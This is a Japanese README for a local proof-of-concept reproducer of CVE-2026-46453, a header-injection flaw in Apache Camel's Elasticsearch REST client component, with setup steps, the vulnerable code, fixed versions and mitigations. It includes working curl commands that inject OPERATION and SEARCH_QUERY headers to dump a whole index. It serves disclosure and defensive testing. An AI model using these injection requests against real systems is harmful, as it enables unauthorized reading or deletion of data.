
CVE-2026-46453の再現ツール — Apache Camel camel-elasticsearch-rest-client プレフィックスなしヘッダーインジェクション(受信HTTPヘッダーによる操作/クエリのオーバーライド)
このプロジェクトは、Apache Camelのcamel-elasticsearch-rest-clientコンポーネントにおけるメッセージヘッダインジェクション / 認可バイパスの脆弱性(CVE-2026-46453として追跡)を実証します。このコンポーネントは、動作を制御するためにいくつかのExchangeヘッダ(SEARCH_QUERY、OPERATION、INDEX_NAME、INDEX_SETTINGS、ID)を読み取ります。影響を受けるバージョンでは、これらのヘッダの文字列値は、他のすべてのコンポーネントが使用するCamelプレフィックス付きの名前ではなく、プレフィックスなしの名前("OPERATION"、"SEARCH_QUERY"、…)です。CamelのインバウンドHttpHeaderFilterStrategyはCamel/camelで始まる名前のみをブロックするため、これらのヘッダはインバウンドフィルタを変更されずに通過します。ルートがelasticsearch-rest-clientプロデューサの前にHTTPエントリポイント(例:platform-http)を公開している場合、信頼できないHTTPクライアントはこれらのヘッダを直接設定し、ルート作成者が設定したクエリと操作を上書きできます。これにより、インデックス全体の読み取りやドキュメントの削除などが可能になります。認証情報は不要です。
セキュリティアドバイザリ: https://camel.apache.org/security/CVE-2026-46453.html
同じヘッダインジェクションファミリー:CVE-2025-27636、CVE-2025-29891、CVE-2025-30177、CVE-2026-40453、CVE-2026-47323 — すべて、名前が
Camelプレフィックスで始まらないためにデフォルトのHeaderFilterStrategyがブロックしないインバウンドヘッダを読み取るコンポーネントに起因します。
// ElasticSearchRestClientConstant - affected 4.18.2 (unprefixed values)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";
// ElasticsearchRestClientProducer#resolveOperation - the header wins over the endpoint's configured operation
ElasticsearchRestClientOperation operation
= exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);
HttpHeaderFilterStrategyはCamel*/camel*のみをブロックするため、インバウンドHTTPヘッダOPERATION: SEARCH(およびSEARCH_QUERY: {...})は通過し、ルート作成者のoperation=GET_BY_IDを上書きします。修正(4.14.8 / 4.18.3 / 4.21.0)では、値をCamelElasticsearchOperation、CamelElasticsearchSearchQueryなどに変更し、インバウンドフィルタがブロックできるようにしています(Javaのフィールド名は変更されていません)。
from("platform-http:/products")
.to("elasticsearch-rest-client:reproducer?hostAddressesList=<host:port>&operation=GET_BY_ID&indexName=products");
// ルート作成者は単一の安全な操作を意図:IDによるドキュメントの取得
攻撃者はOPERATION: SEARCH + SEARCH_QUERY: {"query":{"match_all":{}}}を含むHTTPリクエストを送信し、それを上書きしてインデックス全体をダンプします。
被害者はCamelルートであり、攻撃者はplatform-httpエンドポイントに到達できる任意のHTTPクライアントです。この再現器は、Docker上で実際のElasticsearchを実行し、ホスト上でCamelアプリケーションを実行します(アプリケーションはマッピングされたポートを介してESと通信します)。
CVE-2026-46453/
├── pom.xml # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
├── docker-compose.yml # Elasticsearch 8.15.3(セキュリティ無効)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── EsSeeder.java # 「公開」ドキュメントと「秘密」ドキュメントを投入
│ ├── VictimRoute.java # platform-http -> elasticsearch-rest-client(GET_BY_ID)
│ └── ExploitController.java # 攻撃者:正当なGET_BY_ID vs 注入されたOPERATION=SEARCH
└── resources/
└── application.properties
docker compose up -d
# 準備ができるまで待機:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/ # -> 200
mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# アプリケーションは起動時に'products'インデックスに公開ドキュメントと秘密ドキュメントを投入します
curl -s http://localhost:8080/exploit/attack
# === 1) 正当なリクエスト(ID=public-1) ===
# {"name":"Public Widget","visibility":"public"} 秘密が漏洩: false
# === 2) 攻撃リクエスト(OPERATION=SEARCH、SEARCH_QUERY=match_all) ===
# [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ] 秘密が漏洩: true
#
# >>> ヘッダインジェクションの証明 — 攻撃者が操作を上書きし、インデックス全体を読み取りました: true
手動でも可能です — 注入されたヘッダはplatform-httpのインバウンドフィルタをそのまま通過します:
# 正当: ルート作成者のGET_BY_IDが公開ドキュメントのみを返す
curl -s -H "ID: public-1" http://localhost:8080/products
# 攻撃: 操作を上書きし、インデックス全体をダンプ(秘密ドキュメントを含む)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products
docker compose down
elasticsearch-rest-clientプロデューサの前にHTTPエントリポイントを公開する任意のルート。攻撃者はインバウンドHTTPリクエストにOPERATION、SEARCH_QUERY、INDEX_NAME、INDEX_SETTINGS、またはIDを設定します。これらはCamelプレフィックスのインバウンドフィルタをバイパスしてプロデューサに到達します。
HttpHeaderFilterStrategy(Camel*のみをブロック)が、プレフィックスなしのESヘッダをカバーしていない。4.14.8 / 4.18.3 / 4.21.0(CAMEL-23508)にアップグレードします。これにより、ヘッダ値にCamelプレフィックスが付与され、インバウンドフィルタがブロックできるようになります。
アップグレードするまでは、プロデューサの前に信頼できないインバウンドメッセージから影響を受けるヘッダを除去します:
.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")
または、これらの名前をブロックするカスタムHeaderFilterStrategyを適用します。
この再現器は、一般公開され修正済みの脆弱性に対するセキュリティ研究および許可されたテストのみを目的として提供されています。明示的な許可なくシステムに対して使用しないでください。
| プロパティ | 値 |
|---|
| コンポーネント | camel-elasticsearch-rest-client |
| 影響を受ける定数 | ElasticSearchRestClientConstant — ID、SEARCH_QUERY、INDEX_SETTINGS、INDEX_NAME、OPERATION(プレフィックスなしの値) |
| CWE | CWE-20(不適切な入力検証)+ CWE-639(ユーザー制御キーによる認証バイパス) |
| 影響 | 信頼できないHTTPクライアントがESの操作/クエリを上書き — ドキュメントの読み取り/削除/外部送信 |
| 影響を受けるバージョン | 4.3.0から4.14.8未満、4.15.0から4.18.3未満、4.19.0から4.21.0未満 |
| 修正バージョン | 4.14.8、4.18.3、4.21.0 |
| JIRA | CAMEL-23508 |
| 報告者 | Yu Bao(PayPal) |